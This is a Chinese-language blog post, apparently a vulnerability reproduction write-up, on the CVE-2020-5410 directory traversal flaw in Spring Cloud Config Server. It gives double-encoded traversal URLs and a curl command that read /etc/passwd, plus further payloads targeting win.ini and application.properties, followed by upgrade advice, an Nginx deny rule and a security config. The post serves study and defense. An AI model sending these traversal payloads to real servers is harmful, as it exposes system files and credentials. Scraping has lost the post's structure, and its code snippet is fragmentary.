您好,登录后才能下订单哦!
# Spring Cloud Config 目录穿越漏洞CVE-2020-5410的复现分析
## 漏洞概述
CVE-2020-5410是Spring Cloud Config Server中的一个目录穿越漏洞,于2020年6月被报告并修复。该漏洞允许攻击者通过构造特殊的HTTP请求路径,访问配置服务器文件系统上的任意文件,可能导致敏感信息泄露。
**影响版本**:
- Spring Cloud Config Server 2.2.x 至 2.2.2
- Spring Cloud Config Server 2.1.x 至 2.1.7
- 更早的未修复版本
## 漏洞原理分析
### 背景知识
Spring Cloud Config Server提供了一个中心化的外部配置管理服务,支持从Git仓库、本地文件系统等位置读取配置文件。当客户端请求配置时,通常使用如下格式的URL:
/{application}/{profile}[/{label}] /{application}-{profile}.yml /{label}/{application}-{profile}.yml
### 漏洞成因
问题出在`PathUtils.java`中对路径规范化的处理逻辑上。攻击者可以通过以下方式绕过安全限制:
1. **双重编码攻击**:使用URL编码的`../`(如`%252E%252E%252F`)
2. **路径拼接问题**:未正确处理包含特殊字符的路径
当服务器处理形如`/{name}/master/..%252F..%252F..%252Fetc%252Fpasswd`的请求时,路径规范化逻辑失效,导致可以访问系统任意文件。
## 环境搭建
### 准备漏洞环境
```bash
# 使用Docker快速搭建漏洞环境
docker pull vulhub/spring-cloud-config:2.2.1.RELEASE
docker run -d -p 8888:8888 vulhub/spring-cloud-config:2.2.1.RELEASE
或手动搭建:
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-config-server</artifactId>
<version>2.2.1.RELEASE</version>
</dependency>
@SpringBootApplication
@EnableConfigServer
public class ConfigServerApplication {
public static void main(String[] args) {
SpringApplication.run(ConfigServerApplication.class, args);
}
}
构造特殊URL访问系统文件:
http://localhost:8888/foo/default/master/..%252F..%252F..%252Fetc%252Fpasswd
curl -v "http://localhost:8888/foo/default/master/..%252F..%252F..%252Fetc%252Fpasswd"
成功利用时,将返回目标系统的/etc/passwd
文件内容:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
升级到以下版本: - Spring Cloud Config 2.2.3+ - Spring Cloud Config 2.1.8+
修复方式:
1. 在PathUtils.java
中改进路径规范化逻辑
2. 添加对双重编码的防护
如果无法立即升级:
# application.properties
spring.cloud.config.server.git.uri=file:///safe/config/path/
# Nginx配置示例
location ~ /(\\.\\.|%2E%2E|%252E%252E)/ {
return 403;
}
ResourceController
处理客户端请求PathUtils#getFilePath
处理路径关键问题代码段:
// 修复前的PathUtils.java
public static String getFilePath(String path) {
path = path.replace("/", ""); // 不安全的处理
path = URLDecoder.decode(path, "UTF-8");
// ...
}
除了读取文件,还可以尝试: 1. 访问Windows系统文件:
..%252F..%252F..%252F..%252F..%252FWindows%252Fwin.ini
..%252F..%252F..%252F..%252Fapplication.properties
最小权限原则:
深度防御:
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http.authorizeRequests()
.antMatchers("/**").authenticated()
.and().httpBasic();
}
}
持续监控:
CVE-2020-5410展示了即使是在成熟框架中,路径处理也可能存在安全隐患。通过本次复现我们了解到:
时间线: - 2020-06-03:漏洞报告 - 2020-06-16:官方发布修复版本 - 2020-06-18:CVE正式分配
”`
注:实际使用时请注意: 1. 复现漏洞需在授权环境下进行 2. 部分路径需要根据实际环境调整 3. 文中的IP/端口需替换为实际测试环境 4. 建议在隔离的测试环境中操作
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。